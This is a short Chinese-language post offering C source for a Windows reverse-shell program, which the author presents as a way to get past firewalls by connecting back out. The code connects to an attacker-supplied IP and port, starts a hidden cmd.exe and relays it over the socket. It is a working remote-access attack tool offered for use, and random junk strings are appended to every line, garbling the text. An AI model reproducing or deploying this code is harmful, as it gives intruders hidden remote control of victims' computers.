这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 JYrOE"!h
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/* ============================== ImsyyeY]
Rebound port in Windows NT ypWhH
By wind,2006/7 -\~HAnh
===============================*/ ~;vt{pk
#include IVso/!
#include $fAZ^
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#pragma comment(lib,"wsock32.lib") k-I U}|Xz
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void OutputShell(); u9j1>QU
SOCKET sClient; h3j`X'
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; YQ`88z
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void main(int argc,char **argv) zxC~a97`
{ hVW1l&s
WSADATA stWsaData; B3W2?5p
int nRet; \kP1 Jr
SOCKADDR_IN stSaiClient,stSaiServer; an)Z.x
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if(argc != 3) d,E2l~s
{ `<(o;*&Gd
printf("Useage:\n\rRebound DestIP DestPort\n"); #{5h6IC
return; o!zo%#0;#)
} AZva
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WSAStartup(MAKEWORD(2,2),&stWsaData); (p(-E
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8qwPk4
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stSaiClient.sin_family = AF_INET; O'S9y
stSaiClient.sin_port = htons(0); T/P
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); bA07zI2
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) A'suZpL
{ /X;!
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printf("Bind Socket Failed!\n"); eA-$TSWh
return; o,!W,sx_
} En ]"^*
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stSaiServer.sin_family = AF_INET; mV.26D<c
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); \RmU6(;IQ
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); %<\tN^rP
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ~;@\9oPpz%
{ rTzXRMv@o
printf("Connect Error!"); QeQxz1
return; T1c&3
} B~`:?f9ny5
OutputShell(); -#
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} : 2A\X' @
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void OutputShell() m6o o-muAr
{ C,$7fW{?
char szBuff[1024]; xG|lmYt76
SECURITY_ATTRIBUTES stSecurityAttributes; wp<f{^ et
OSVERSIONINFO stOsversionInfo; y<m}dW6[\
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; /J!~0~F
STARTUPINFO stStartupInfo; \Wb3JQ)
char *szShell; TE-(Zil\
PROCESS_INFORMATION stProcessInformation; v,c;dlg_
unsigned long lBytesRead; }i52MI1-XP
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); @wh-.MD
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); yH(%*-S
stSecurityAttributes.lpSecurityDescriptor = 0; e/zz.cd){
stSecurityAttributes.bInheritHandle = TRUE; 4R&pb1eF
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); i([|@Y=
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Ur(< ]
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); |z`AIScT
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; QxiAC>%K
stStartupInfo.wShowWindow = SW_HIDE; t]+h.
stStartupInfo.hStdInput = hReadPipe; vlPViHF.
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 'h>CgR^NM1
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GetVersionEx(&stOsversionInfo); cD9.L
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switch(stOsversionInfo.dwPlatformId) ?S'Wd=
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case 1: }T"&4Rvs2R
szShell = "command.com"; v\-7sgZR
break; KA
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default: >+Y@rj2
szShell = "cmd.exe"; RC^k#+
break; d+]/0J!c
} _FzAf5DO
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); y)T|1)
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send(sClient,szMsg,77,0); W"H(HA
while(1) (
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{ F+/#ugI
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 4]no#lVRJ
if(lBytesRead) w5q'M
{ FLQ>,=O
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 4^k+wQU
send(sClient,szBuff,lBytesRead,0); dQI6.$?
} moE!~IroG
else R?8/qGSVqJ
{ nQd~i0`vB
lBytesRead=recv(sClient,szBuff,1024,0); gqDSHFm:
if(lBytesRead<=0) break; T*rz#O
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); S{UEV7d:n0
} M+WN \.2pX
} gNSsT])
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return; U)D}J_Zi(
}